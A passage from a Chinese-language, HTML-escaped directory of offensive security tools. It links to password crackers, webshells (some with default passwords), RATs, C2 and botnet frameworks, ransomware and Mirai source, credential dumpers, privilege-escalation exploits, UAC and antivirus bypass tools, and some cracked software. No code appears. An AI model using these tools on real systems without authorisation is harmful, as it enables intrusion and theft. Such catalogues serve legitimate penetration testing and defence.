&lt;li&gt;https://github.com/thehappydinoa/iOSRestrictionBruteForce py,实现的 ios 访问限制密码破解工具&lt;/li&gt;
&lt;li&gt;https://github.com/hashcat/hashcat C,哈希破解&lt;/li&gt;
&lt;li&gt;https://github.com/fireeye/gocrack GO,基于 hashcat 3.6.0+的分布式密码破解工具&lt;/li&gt;
&lt;li&gt;https://github.com/s3inlc/hashtopolis 基于 php 的 hashcat 的分布式破解工具，支持 C#与 python 客户端&lt;/li&gt;
&lt;li&gt;https://github.com/e-ago/bitcracker 首款开源的 BitLocker 密码破解工具&lt;/li&gt;
&lt;li&gt;https://www.ru.nl/publish/pages/909282/draft-paper.pdf 破解 SSD 下使用 BitLocker 的论文&lt;/li&gt;
&lt;li&gt;https://github.com/magnumripper/JohnTheRipper 已知密文的情况下尝试破解出明文的破解密码软件&lt;/li&gt;
&lt;li&gt;https://github.com/shinnok/johnny JohnTheRipper 密码破解的 GUI 界面，理论兼容所有功能，有 windows 界面&lt;/li&gt;
&lt;li&gt;https://github.com/jmk-foofus/medusa 支持的协议会比 hydra 少一点，但是某些速度会快&lt;/li&gt;
&lt;li&gt;https://github.com/MrSqar-Ye/wpCrack wordpress hash 破解&lt;/li&gt;
&lt;li&gt;https://github.com/testsecer/Md5Decrypt C#,基于网上 web API 的 MD5 搜索工具&lt;/li&gt;
&lt;li&gt;https://github.com/s0md3v/Hash-Buster 能调用多个 API 进行 hash 破解查询的智能工具&lt;/li&gt;
&lt;li&gt;https://www.52pojie.cn/thread-275945-1-1.html ARCHPR Pro4.54 绿色中文破解版。压缩包密码破解，利用“已知明文攻击”破解加密的压缩文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head42&quot;&amp;gt;网站管理与 Webshell&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://www.bt.cn 宝塔网站管理系统&lt;/li&gt;
&lt;li&gt;https://github.com/AntSwordProject/antSword js,中国蚁剑,插件式开发&lt;/li&gt;
&lt;li&gt;https://github.com/rebeyond/Behinder “冰蝎”动态二进制加密网站管理客户端&lt;/li&gt;
&lt;li&gt;https://github.com/BeichenDream/Godzilla 哥斯拉&lt;/li&gt;
&lt;li&gt;https://github.com/Chora10/Cknife java，中国菜刀&lt;/li&gt;
&lt;li&gt;https://github.com/naozibuhao/SecQuanCknife java，中国菜刀升级版，增加爆破功能&lt;/li&gt;
&lt;li&gt;https://github.com/euphrat1ca/hatchet 中国大砍刀&lt;/li&gt;
&lt;li&gt;https://github.com/tengzhangchao/PyCmd py，一句话木马客户端程序，目前支持 php、jsp，CS 端通信加密&lt;/li&gt;
&lt;li&gt;https://github.com/epinna/weevely3 py,利用特定的一句话脚本对网站进行管理&lt;/li&gt;
&lt;li&gt;https://github.com/nil0x42/phpsploit py3,利用特定的一句话脚本对网站进行管理&lt;/li&gt;
&lt;li&gt;https://github.com/wonderqs/Blade py，利用特定的一句话脚本对网站进行管理&lt;/li&gt;
&lt;li&gt;https://github.com/anestisb/WeBaCoo perl，利用特定的一句话脚本对网站进行管理&lt;/li&gt;
&lt;li&gt;https://github.com/keepwn/Altman .net 配合 mono，实现的跨平台菜刀&lt;/li&gt;
&lt;li&gt;https://github.com/k4mpr3t/b4tm4n 集成伪造邮件 ddos，bat.php 的 webshell，初始 k4mpr3t&lt;/li&gt;
&lt;li&gt;https://github.com/dotcppfile/DAws 过防火墙 webshell，post pass=DAws&lt;/li&gt;
&lt;li&gt;https://github.com/b374k/b374k php 网站管理，默认密码 b374k&lt;/li&gt;
&lt;li&gt;https://github.com/wso-shell/WSO webshell 的文件管理，可以伪装为 404 界面&lt;/li&gt;
&lt;li&gt;https://github.com/UltimateHackers/nano php 小马，附带 py 编写的生成器&lt;/li&gt;
&lt;li&gt;https://github.com/rebeyond/memShell 一款可以写入 java web server 内存中的 webshell&lt;/li&gt;
&lt;li&gt;https://github.com/DXkite/freebuf-stream-shell PHP 使用流包装器实现 WebShell。freebuf 上有详细文章&lt;/li&gt;
&lt;li&gt;https://xz.aliyun.com/t/2799 利用动态二进制加密实现新型一句话木马之客户端篇&lt;/li&gt;
&lt;li&gt;https://github.com/rebeyond/Behinder “冰蝎”动态二进制加密网站管理客户端&lt;/li&gt;
&lt;li&gt;https://xz.aliyun.com/t/2744#toc-8 利用动态二进制加密实现新型一句话木马之 Java 篇&lt;/li&gt;
&lt;li&gt;https://xz.aliyun.com/t/2758#toc-4 利用动态二进制加密实现新型一句话木马之.NET 篇&lt;/li&gt;
&lt;li&gt;https://xz.aliyun.com/t/2774#toc-4 利用动态二进制加密实现新型一句话木马之 PHP 篇&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head43&quot;&amp;gt; 内网拓展后渗透&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/OpenWireSec/metasploit 后渗透框架&lt;/li&gt;
&lt;li&gt;https://github.com/EmpireProject/Empire 基于 poweshell 的命令执行框架&lt;/li&gt;
&lt;li&gt;https://github.com/TheSecondSun/Bashark 纯 Bash 脚本编写的后渗透框架，大鲨鱼&lt;/li&gt;
&lt;li&gt;https://github.com/JusticeRage/FFM py3，拥有下载、上传功能，生成可执行 py 脚本的后门的后渗透框架&lt;/li&gt;
&lt;li&gt;https://github.com/DarkSpiritz/DarkSpiritz py2,后渗透框架&lt;/li&gt;
&lt;li&gt;https://github.com/byt3bl33d3r/CrackMapExec 网络测试中的瑞士军刀，包含 impacket、PowerSploit 等多种模块&lt;/li&gt;
&lt;li&gt;https://github.com/SpiderLabs/scavenger 对 CrackMapExec 进行二次包装开发进行内网敏感信息扫描&lt;/li&gt;
&lt;li&gt;https://github.com/jmortega/python-pentesting python-pentesting-tool python 安全工具相关功能模块&lt;/li&gt;
&lt;li&gt;https://github.com/0xdea/tactical-exploitation Python/PowerShell 的测试脚本集&lt;/li&gt;
&lt;li&gt;https://github.com/PowerShellMafia/PowerSploit powershell 测试脚本集与开发框架汇总&lt;/li&gt;
&lt;li&gt;https://github.com/samratashok/nishang powershell 脚本集与利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/PowerShellEmpire/PowerTools PowerShell 脚本集，停止更新&lt;/li&gt;
&lt;li&gt;https://github.com/FuzzySecurity/PowerShell-Suite PowerShell 脚本集&lt;/li&gt;
&lt;li&gt;https://github.com/rvrsh3ll/Misc-Powershell-Scripts PowerShell 脚本集&lt;/li&gt;
&lt;li&gt;https://github.com/nccgroup/redsnarf 窃取哈希，密码解密，偷偷调用猕猴桃等程序，rdp 多方法利用，远程启动 shell，清楚痕迹&lt;/li&gt;
&lt;li&gt;https://github.com/BloodHoundAD/BloodHound 用于分析域成员和用用户关系的程序，通过用 powershell 脚本导出域内的 session、computer、group、user 等信息，入库后进行可视化分析可以做到定点攻击。&lt;/li&gt;
&lt;li&gt;https://github.com/xorrior/RemoteRecon 利用 DotNetToJScript 进行截图、key 记录、token 窃取、dll 与恶意代码注入&lt;/li&gt;
&lt;li&gt;https://github.com/SkyLined/LocalNetworkScanner 利用浏览器漏洞当对方打开网址时，扫描对方内网信息&lt;/li&gt;
&lt;li&gt;https://github.com/fdiskyou/hunter 调用 Windows API 对内网信息进行搜集很全面&lt;/li&gt;
&lt;li&gt;https://github.com/0xwindows/VulScritp 内网渗透脚本，包括 banner 扫描、端口扫描；phpmyadmin、jenkins 等通用漏洞利用等&lt;/li&gt;
&lt;li&gt;https://github.com/lcatro/network_backdoor_scanner 基于网络流量的内网探测框架&lt;/li&gt;
&lt;li&gt;https://github.com/sowish/LNScan 详细的内部网络信息扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/rootlabs/nWatch 联动 nmap，并对组织内网进行扫描&lt;/li&gt;
&lt;li&gt;https://github.com/m8r0wn/nullinux 用于 Linux 的内部渗透测试工具，可用于通过 SMB 枚举操作系统信息，域信息，共享，目录和用户。&lt;/li&gt;
&lt;li&gt;https://github.com/zMarch/Orc bash，Linux 下后渗透命令集合&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head44&quot;&amp;gt;远程控制 C2 服务器&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/malwaredllc/byob 僵尸网络生成框架&lt;/li&gt;
&lt;li&gt;https://github.com/proxycannon/proxycannon-ng 构建攻击僵尸网络&lt;/li&gt;
&lt;li&gt;https://github.com/deadPix3l/CryptSky/ 勒索软件 poc&lt;/li&gt;
&lt;li&gt;https://github.com/jgamblin/Mirai-Source-Code 蠕虫病毒 poc&lt;/li&gt;
&lt;li&gt;https://github.com/AhMyth/AhMyth-Android-RAT 基于 smali，Windows 下安卓远控，一对多带界面&lt;/li&gt;
&lt;li&gt;https://github.com/ssooking/cobaltstrike3.12_cracked java1.8，远控、钓鱼、内网&lt;/li&gt;
&lt;li&gt;https://github.com/Mr-Un1k0d3r/ThunderShell py2，CLI 与 web 端，内存马，RC4 加密 HTTP 传输&lt;/li&gt;
&lt;li&gt;https://github.com/tiagorlampert/CHAOS go，win 远控，可过大部分杀软&lt;/li&gt;
&lt;li&gt;https://github.com/Ne0nd0g/merlin go，c2 通讯，一对多&lt;/li&gt;
&lt;li&gt;https://github.com/0x09AL/Browser-C2 go，利用 chrome 以浏览器的形式连接 C2 服务器&lt;/li&gt;
&lt;li&gt;https://github.com/xdnice/PCShare c++，可以监视目标机器屏幕、注册表、文件系统等&lt;/li&gt;
&lt;li&gt;https://github.com/quasar/QuasarRAT c#，一对多，界面&lt;/li&gt;
&lt;li&gt;https://github.com/TheM4hd1/Vayne-RaT c#，一对多，界面&lt;/li&gt;
&lt;li&gt;https://github.com/nettitude/PoshC2 PowerShell、C#，远控工具，有 win 提权组件&lt;/li&gt;
&lt;li&gt;https://github.com/euphrat1ca/njRAT-v0.7d vb，常见蠕虫远控，有很多变种，一对多带界面&lt;/li&gt;
&lt;li&gt;https://github.com/zerosum0x0/koadic py3,利用 JScript/VBScript 进行控制，大宝剑&lt;/li&gt;
&lt;li&gt;https://github.com/Ridter/MyJSRat py2，利用 js 后门，配合 chm、hta 可实现很多后门方式。evi1cg.me/archives/chm_backdoor.html&lt;/li&gt;
&lt;li&gt;https://github.com/its-a-feature/Apfell py3，macOS 与 linux 下的利用 js 后门，web 界面管理&lt;/li&gt;
&lt;li&gt;https://github.com/peterpt/fuzzbunch py2，NSA 漏洞利用工具，配有自动化安装脚本与 gui 界面，远控 rat&lt;/li&gt;
&lt;li&gt;https://github.com/n1nj4sec/pupy py，Windows, Linux, OSX, Android 跨平台，一对多&lt;/li&gt;
&lt;li&gt;https://github.com/nathanlopez/Stitch py，Windows、Mac OSX、Linux 跨平台&lt;/li&gt;
&lt;li&gt;https://github.com/neoneggplant/EggShell py，macos/osx 远控,可生成 HID 代码，一对多&lt;/li&gt;
&lt;li&gt;https://github.com/Marten4n6/EvilOSX py，macos/osx 远控，一对多&lt;/li&gt;
&lt;li&gt;https://github.com/vesche/basicRAT py3，simple 远控，一对多&lt;/li&gt;
&lt;li&gt;https://github.com/Viralmaniar/Powershell-RAT py，截图通过 gmail 传输&lt;/li&gt;
&lt;li&gt;https://github.com/byt3bl33d3r/gcat py，使用 gmail 作为 C&amp;amp;C 服务器&lt;/li&gt;
&lt;li&gt;https://github.com/sweetsoftware/Ares py，c2 通讯，支持代理&lt;/li&gt;
&lt;li&gt;https://github.com/micle-fm/Parat py，利用 telegram，windows 下的远程控制工具&lt;/li&gt;
&lt;li&gt;https://github.com/ahhh/Reverse_DNS_Shell py，通过 dns 传输&lt;/li&gt;
&lt;li&gt;https://github.com/iagox86/dnscat2 服务端为 ruby（linux），客户端为 C（win/linux），利用 DNS 协议进行端对端传输&lt;/li&gt;
&lt;li&gt;https://github.com/deepzec/Grok-backdoor py，利用 ngrok 的后门&lt;/li&gt;
&lt;li&gt;https://github.com/trustedsec/trevorc2 py，搭建一个合法的网站（可浏览），用于隐藏命令执行的客户端/服务器通信&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head45&quot;&amp;gt; 端口转发与代理工具&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/fatedier/frp 用于内网穿透的高性能的反向代理应用，支持 tcp, udp, http, https 协议&lt;/li&gt;
&lt;li&gt;https://github.com/inconshreveable/ngrok 端口转发，正反向代理，内网穿透&lt;/li&gt;
&lt;li&gt;http://ngrok.ciqiuwl.cn/ 在线小米球 ngrok&lt;/li&gt;
&lt;li&gt;https://github.com/knownsec/rtcp Socket 端口转发，用于远程维护&lt;/li&gt;
&lt;li&gt;https://github.com/davrodpin/mole 基于 ssh 的端口转发&lt;/li&gt;
&lt;li&gt;http://rootkiter.com/EarthWorm 一款用于开启 SOCKS v5 代理服务的工具，基于标准 C 开发，可提供多平台间的转接通讯，用于复杂网络环境下的数据转发。&lt;/li&gt;
&lt;li&gt;http://rootkiter.com/Termite/README.txt EarthWorm 升级版，可以实现多节点跳跃&lt;/li&gt;
&lt;li&gt;https://github.com/SECFORCE/Tunna 可以通过 HTTP 封装隧道通信任何 TCP，以及用于绕过防火墙环境中的网络限制&lt;/li&gt;
&lt;li&gt;https://github.com/fbkcs/thunderdns 将 tcp 流量通过 DNS 协议转发，不需要客户端和 socket5 支持&lt;/li&gt;
&lt;li&gt;https://github.com/sensepost/reGeorg reDuh 的升级版，主要是把内网服务器的端口通过 http/https 隧道转发到本机，形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口（提供了 php，asp，jsp 脚本的正反向代理）&lt;/li&gt;
&lt;li&gt;https://github.com/SpiderClub/haipproxy py3,Scrapy and Redis,高可用 ip 代理池&lt;/li&gt;
&lt;li&gt;https://github.com/chenjiandongx/async-proxy-pool py3 异步爬虫 ip 代理池&lt;/li&gt;
&lt;li&gt;https://github.com/audibleblink/doxycannon 使用一个 openvpn 代理池，为每一个生成 docker，当连接某一个 vpn 后，其它的进行 socks5 转发做流量分发&lt;/li&gt;
&lt;li&gt;https://github.com/decoder-it/psportfwd PowerShell 编写的端口转发工具, 无需 admin 权限&lt;/li&gt;
&lt;li&gt;https://github.com/ls0f/gortcp go，通过主控端、中转、被控端实现内网穿透&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head46&quot;&amp;gt;Cross 超越边界 NPV&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/bannedbook/fanqiang/wiki cross 汇总&lt;/li&gt;
&lt;li&gt;https://github.com/teddysun/across 梯子搭建&lt;/li&gt;
&lt;li&gt;https://github.com/ToyoDAdoubi/doubi 各种常用一键脚本&lt;/li&gt;
&lt;li&gt;https://github.com/Nyr/openvpn-install openvpn 一键&lt;/li&gt;
&lt;li&gt;https://github.com/quericy/one-key-ikev2-vpn CentOS/Debian/Ubuntu 一键安装 IPSEC/IKEV2 VPN 脚本&lt;/li&gt;
&lt;li&gt;https://github.com/teddysun/shadowsocks_install shadowsocks,shadowsocksr&lt;/li&gt;
&lt;li&gt;https://github.com/guyingbo/shadowproxy ss/socks5/http//https 等多种代理&lt;/li&gt;
&lt;li&gt;https://github.com/shadowsocks/shadowsocks-manager shadowsocks 多用户管理&lt;/li&gt;
&lt;li&gt;https://github.com/leitbogioro/SSR.Go shadowsocksrr 配置管理简化工具&lt;/li&gt;
&lt;li&gt;https://github.com/ssrpanel/SSRPanel ss\ssr\v2ray 用户分布式管理&lt;/li&gt;
&lt;li&gt;https://github.com/xuanhuan/ss-panel ss 用户分布式管理&lt;/li&gt;
&lt;li&gt;https://github.com/Ahref-Group/SS-Panel-smarty-Edition ss 用户分布式管理，兑换码功能、商城系统，服务器信息&lt;/li&gt;
&lt;li&gt;https://github.com/Ccapton/brook-web brook 程序服务端 Web 后台管理服务器（Linux|MacOS），基于 python、flask、flask-restful&lt;/li&gt;
&lt;li&gt;https://github.com/Ccapton/brook-ok Brook 一键安装脚本&lt;/li&gt;
&lt;li&gt;https://github.com/txthinking/brook go，支持 Linux/MacOS/Windows/Android/iOS 的代理与 vpn&lt;/li&gt;
&lt;li&gt;https://github.com/gwuhaolin/lightsocks 轻量级网络混淆代理，基于 SOCKS5 协议，类 SS&lt;/li&gt;
&lt;li&gt;https://github.com/Umbrellazc/BypassCampusNet 校园网防断网; UDP 53 免流上网&lt;/li&gt;
&lt;li&gt;https://doub.io/dbrj-5/ 通过虚拟网卡转为类 VPN 全局代理 SSTAP，还有 sockscap64，比 proxifier 使用简单&lt;/li&gt;
&lt;li&gt;https://github.com/ntkernel/lantern unlimited-landeng-for-win，无限流量蓝灯&lt;/li&gt;
&lt;li&gt;https://www.psiphon3.com 开源赛风超越边界代理&lt;/li&gt;
&lt;li&gt;https://hide.me 可试用&lt;/li&gt;
&lt;li&gt;https://windscribe.com 可试用&lt;/li&gt;
&lt;li&gt;http://www.vpngate.net 日本国立筑波大学超越边界代理&lt;/li&gt;
&lt;li&gt;https://rava.app 注册可免费用一天&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head47&quot;&amp;gt;横向移动与密码 Hash 窃取&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://www.oxid.it/cain.html Cain &amp;amp; Abel 支持密码还原、arp 中间人攻击&lt;/li&gt;
&lt;li&gt;https://github.com/gentilkiwi/mimikatz Windows 下以抓取密码为主的横向移动神器&lt;/li&gt;
&lt;li&gt;https://github.com/skelsec/pypykatz 使用纯 py3 实现的 mimikatz&lt;/li&gt;
&lt;li&gt;https://github.com/eladshamir/Internal-Monologue 无需 LSASS 进程使用 Mimikatz 从 LSASS 进程内存中提取内容, 从内存中提取明文密码, NTLM 哈希, Kerberos ticket, 以及执行 pass-the-hash/pass-the-ticket 攻击等&lt;/li&gt;
&lt;li&gt;https://github.com/AlessandroZ/LaZagne py3，密码抓取工具&lt;/li&gt;
&lt;li&gt;https://github.com/AlessandroZ/LaZagneForensic LaZagne 密码破解升级版，利用 DPAPI，目前缺陷是需要 windows user 密码&lt;/li&gt;
&lt;li&gt;https://github.com/twelvesec/passcat Windows 下密码抓取工具&lt;/li&gt;
&lt;li&gt;https://github.com/huntergregal/mimipenguin linux 密码抓取神器&lt;/li&gt;
&lt;li&gt;https://github.com/quarkslab/quarkspwdump quarkslab 出品的密码抓取工具，不用注入任何进程&lt;/li&gt;
&lt;li&gt;https://github.com/mthbernardes/sshLooter 从 ssh 服务中窃取用户名密码&lt;/li&gt;
&lt;li&gt;https://github.com/nettitude/Invoke-PowerThIEf 利用 IE 进行后渗透，抓取密码、重定向等&lt;/li&gt;
&lt;li&gt;https://github.com/GhostPack/Rubeus 操作 Kerberos 的库, 实现了 Kekeo 的大部分功能, C#编写&lt;/li&gt;
&lt;li&gt;https://github.com/m8r0wn/ldap_search PY,通过 ldap（轻量目录访问协议）认证，列举 win 域信息，爆破登录&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head48&quot;&amp;gt;Linux 提权相关&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/AlessandroZ/BeRoot py,通过检查常见的错误配置来查找提权方法. 支持 Windows/Linux/Mac&lt;/li&gt;
&lt;li&gt;https://github.com/mschwager/0wned 利用 python 包进行高权限用户创建&lt;/li&gt;
&lt;li&gt;https://github.com/mzet-/linux-exploit-suggester 查找 linux 有哪些补丁没有打的脚本&lt;/li&gt;
&lt;li&gt;https://github.com/belane/linux-soft-exploit-suggester 查找 linux 有哪些有漏洞的软件&lt;/li&gt;
&lt;li&gt;https://github.com/dirtycow/dirtycow.github.io 脏牛提权漏洞 exp&lt;/li&gt;
&lt;li&gt;https://github.com/FireFart/dirtycow 脏牛提权漏洞 exp&lt;/li&gt;
&lt;li&gt;https://github.com/stanleyb0y/sushell 利用 su 小偷实现低权限用户窃取 root 用户口令&lt;/li&gt;
&lt;li&gt;https://github.com/jas502n/CVE-2018-17182/ Linux 内核 VMA-UAF 提权漏洞 CVE-2018-17182&lt;/li&gt;
&lt;li&gt;https://github.com/jas502n/CVE-2018-14665 CVE-2018-14665，linux 下 Xorg X 服务器提权利用&lt;/li&gt;
&lt;li&gt;https://github.com/nmulasmajic/syscall_exploit_CVE-2018-8897 Linux 系统利用 Syscall 实现提权&lt;/li&gt;
&lt;li&gt;https://github.com/can1357/CVE-2018-8897 Linux 系统利用 Syscall 实现提权&lt;/li&gt;
&lt;li&gt;https://github.com/SecWiki/linux-kernel-exploits linux-kernel-exploits Linux 平台提权漏洞集合&lt;/li&gt;
&lt;li&gt;https://github.com/nilotpalbiswas/Auto-Root-Exploit linux 自动提权脚本&lt;/li&gt;
&lt;li&gt;https://github.com/WazeHell/PE-Linux Linux 提权工具&lt;/li&gt;
&lt;li&gt;https://guif.re/linuxeop linux 提权命令集合&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head49&quot;&amp;gt;Windows 提权相关&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://www.fuzzysecurity.com/tutorials/16.html windows 平台教程级提权参考文章&lt;/li&gt;
&lt;li&gt;https://github.com/SecWiki/windows-kernel-exploits Windows 平台提权漏洞 Exp 集合&lt;/li&gt;
&lt;li&gt;https://github.com/51x/WHP windows 下各种提权与利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/rasta-mouse/Sherlock win 提权漏洞验证&lt;/li&gt;
&lt;li&gt;https://github.com/WindowsExploits/Exploits 微软 CVE-2012-0217、CVE-2016-3309、CVE-2016-3371、CVE-2016-7255、CVE-2017-0213 提权利用&lt;/li&gt;
&lt;li&gt;https://github.com/decoder-it/lonelypotato RottenPotatoNG 变种，利用 NBNS 本地域名欺骗和 WPAD 代理欺骗提权&lt;/li&gt;
&lt;li&gt;https://github.com/ohpe/juicy-potato RottenPotatoNG 变种，利用 com 对象、用户 token 进行提权&lt;/li&gt;
&lt;li&gt;https://github.com/foxglovesec/Potato RottenPotatoNG 变种，利用本地域名欺骗和代理欺骗提权&lt;/li&gt;
&lt;li&gt;https://github.com/DanMcInerney/icebreaker 处于内网环境但又在 AD 环境之外，icebreaker 将会帮助你获取明文 Active Directory 凭据（活动目录存储在域控服务器可用于提权）&lt;/li&gt;
&lt;li&gt;https://github.com/hausec/ADAPE-Script Active Directory 权限提升脚本&lt;/li&gt;
&lt;li&gt;https://github.com/klionsec/BypassAV-AllThings 利用 aspx 一句话配合提权 payload 提权&lt;/li&gt;
&lt;li&gt;https://github.com/St0rn/Windows-10-Exploit msf 插件，win10 uac bypass&lt;/li&gt;
&lt;li&gt;https://github.com/sam-b/CVE-2014-4113 利用 Win32k.sys 内核漏洞进行提取，ms14-058&lt;/li&gt;
&lt;li&gt;https://github.com/breenmachine/RottenPotatoNG 利用 NBNS 本地域名欺骗和 WPAD 代理欺骗提权&lt;/li&gt;
&lt;li&gt;https://github.com/unamer/CVE-2018-8120 影响 Win32k 组件，针对 win7 和 win2008 提权&lt;/li&gt;
&lt;li&gt;https://github.com/alpha1ab/CVE-2018-8120 在 win7 与 win2k8 的基础上增加了 winXP 与 win2k3&lt;/li&gt;
&lt;li&gt;https://github.com/0xbadjuju/Tokenvator 使用 Windows 令牌提升权限的工具，提供一个交互命令行界面&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head50&quot;&amp;gt; 权限绕过&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://payloads.online/archivers/2018-12-22/1 DLL Hijacking &amp;amp; COM Hijacking ByPass UAC - 议题解读&lt;/li&gt;
&lt;li&gt;https://github.com/tyranid/DotNetToJScript 能够利用 JS/Vbs 脚本加载.Net 程序的工具&lt;/li&gt;
&lt;li&gt;https://github.com/mdsecactivebreach/SharpPack 绕过系统应用白名单执行 DotNet and PowerShell tools&lt;/li&gt;
&lt;li&gt;https://github.com/rootm0s/WinPwnage py2，win 下权限提升，uac 绕过，dll 注入等&lt;/li&gt;
&lt;li&gt;https://github.com/hfiref0x/UACME 包含许多用于多个版本操作系统上绕过 Windows 用户帐户控制的方法&lt;/li&gt;
&lt;li&gt;https://github.com/Ben0xA/nps 实现了不使用 powershell.exe 的情况下执行 powershell 命令&lt;/li&gt;
&lt;li&gt;https://github.com/Mr-Un1k0d3r/PowerLessShell 实现了不调用 powershell.exe 的情况下执行 powershell 命令&lt;/li&gt;
&lt;li&gt;https://github.com/p3nt4/PowerShdll 使用 rundll32 运行 PowerShell，绕过软件限制&lt;/li&gt;
&lt;li&gt;https://github.com/ionescu007/r0ak 内核层的瑞士军刀. 在 Windows10 内核中读/写/执行代码&lt;/li&gt;
&lt;li&gt;https://github.com/leechristensen/UnmanagedPowerShell 从一个非托管程序来执行 PowerShell,经过一些修改后可以被用来注入到其他进程&lt;/li&gt;
&lt;li&gt;https://github.com/stephenfewer/ReflectiveDLLInjection 一种库注入技术，让 DLL 自身不使用 LoadLibraryA 函数,将自身映射到目标进程内存中&lt;/li&gt;
&lt;li&gt;https://github.com/ChrisAD/ads-payload 利用环境变量与 destop.ini 绕过 windows 下的 Palo Alto Traps endpoint 防护软件&lt;/li&gt;
&lt;li&gt;https://github.com/Zer0Mem0ry/RunPE 通过内存读取，网络传输内容，利用 PE 执行 shellcode&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head51&quot;&amp;gt; 沙盒逃逸&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/hacksysteam/WpadEscape 利用 wpad 进行浏览器 sandbox 沙箱逃逸&lt;/li&gt;
&lt;li&gt;https://github.com/unamer/vmware_escape vmware 虚拟机逃逸。CVE-2017-4901，CVE-2018-6981，CVE-2018-6982&lt;/li&gt;
&lt;li&gt;https://github.com/MorteNoir1/virtualbox_e1000_0day VirtualBox E1000 Guest-to-Host Escape 逃逸。教程&lt;/li&gt;
&lt;li&gt;https://bugs.chromium.org/p/project-zero/issues/detail?id=1682&amp;amp;desc=2 Ghostscript：基于漏洞 CVE-2018-17961 的-dSAFER 沙盒逃逸技术&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head52&quot;&amp;gt; 后门免杀代码混淆&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.shellterproject.com 杀毒软件绕过&lt;/li&gt;
&lt;li&gt;https://github.com/trustedsec/unicorn py，一键生成多种后门&lt;/li&gt;
&lt;li&gt;https://github.com/islamTaha12/Python-Rootkit windows 下 rootkit，反弹 meterpreter&lt;/li&gt;
&lt;li&gt;https://github.com/n00py/Hwacha linux 下快速生成 metepreter 等多种 payload&lt;/li&gt;
&lt;li&gt;https://github.com/Screetsec/Vegile msf 免杀，程序注入&lt;/li&gt;
&lt;li&gt;https://github.com/MohamedNourTN/Terminator py2，msf 免杀&lt;/li&gt;
&lt;li&gt;https://github.com/Veil-Framework/Veil msf 免杀&lt;/li&gt;
&lt;li&gt;https://github.com/abedalqaderswedan1/aswcrypter py、bash，msf 免杀&lt;/li&gt;
&lt;li&gt;https://github.com/Screetsec/TheFatRat java，msf 免杀，利用 searchsploit 快速搜索&lt;/li&gt;
&lt;li&gt;https://github.com/pasahitz/zirikatu msf 免杀&lt;/li&gt;
&lt;li&gt;https://github.com/govolution/avet msf 免杀&lt;/li&gt;
&lt;li&gt;https://github.com/GreatSCT/GreatSCT msf 免杀&lt;/li&gt;
&lt;li&gt;https://github.com/EgeBalci/HERCULES msf 免杀&lt;/li&gt;
&lt;li&gt;https://github.com/trustedsec/nps_payload msf 免杀&lt;/li&gt;
&lt;li&gt;https://github.com/4w4k3/Insanity-Framework py，payload 生成，过杀软，识别虚拟机，钓鱼，内存注入等&lt;/li&gt;
&lt;li&gt;https://github.com/hlldz/SpookFlare Meterpreter，Empire，Koadic 等 loader/dropper 的生成器，可以绕过客户端检测和网络端检测的端点策略&lt;/li&gt;
&lt;li&gt;https://github.com/pasahitz/regsvr32 使用 C#+Empire 实现最小体积免杀后门&lt;/li&gt;
&lt;li&gt;https://github.com/malcomvetter/UnstoppableService 将自身安装为 Windows 服务且管理员无法停止/暂停服务的程序. C#编写&lt;/li&gt;
&lt;li&gt;https://github.com/Cn33liz/StarFighters 基于 DotNetToJScript，利用 JavaScript 和 VBScript 执行 Empire Launcher&lt;/li&gt;
&lt;li&gt;https://github.com/mdsecactivebreach/SharpShooter 基于 DotNetToJScript 使用 js、vbs，用于检索和执行任意 CSharp 源码的 payload 创建框架&lt;/li&gt;
&lt;li&gt;https://github.com/mdsecactivebreach/CACTUSTORCH 基于 DotNetToJScript 使用 js、vbs 生成恶意 payload&lt;/li&gt;
&lt;li&gt;https://github.com/OmerYa/Invisi-Shell 对 powershell 文件进行混淆&lt;/li&gt;
&lt;li&gt;https://github.com/danielbohannon/Invoke-DOSfuscation 对 powershell 文件进行混淆，加密操作以及重新编码&lt;/li&gt;
&lt;li&gt;https://github.com/danielbohannon/Invoke-Obfuscation 对 powershell 文件进行混淆，加密操作以及重新编码&lt;/li&gt;
&lt;li&gt;https://github.com/Mr-Un1k0d3r/SCT-obfuscator Cobalt Strike SCT 有效载荷混淆器&lt;/li&gt;
&lt;li&gt;https://github.com/tokyoneon/Armor bash，生成加密 Payload 在 macOS 上反弹 Shell&lt;/li&gt;
&lt;li&gt;https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator 宏混淆，其中还包括 AV/Sandboxes 逃避机制&lt;/li&gt;
